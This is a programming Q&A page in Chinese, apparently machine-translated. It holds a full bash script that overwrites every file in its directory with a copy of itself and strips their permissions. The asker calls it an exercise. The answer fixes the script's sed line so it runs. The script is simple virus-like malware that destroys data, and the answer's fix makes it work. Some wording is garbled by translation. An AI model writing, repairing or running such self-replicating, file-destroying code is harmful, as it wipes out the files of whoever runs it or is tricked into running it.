2016-06-09 63 views
1

我正在制作一个脚本,将其自身复制到它所执行的目录中的所有其他文件中。 (简单地作为一个练习)sed将无法在bash脚本中工作

#!/bin/bash 

naz=$0 
list='2e5vff5f8fgg8gs5gs8ggr48gr8grs84gr8448.txt' 
find -type f > $list 
sed -i "/$list/d" $list 
sed -i "/"$naz"/d" $list 

while read infest 
do 
    cp "$naz" "$infest" 2>/dev/null 
    chmod 100 "$infest" 2>/dev/null 
done < $list 

chmod 744 $naz 
rm $list 

它做什么,我希望它做的,但这个错误是在该行whee我尝试从列表中删除程序本身。终端给了我这样的:

sed: -e expression #1, char 16: unterminated `s' command 

我执行手工命令对应于一个终端窗口,它工作得很好,但为什么不会它,而在脚本中工作?

回答

3

问题似乎是在这一行:

sed -i "/"$naz"/d" $list 

可变$naz其代表$0可能包含/这将导致sed为你使用/作为分隔符抱怨。

为了解决这个问题,你可以在sed使用替代分隔符:

sed -i "\#$naz#d" "$list" 

假设你的文件名没有#字符,否则sed允许使用控制字符也为分隔符。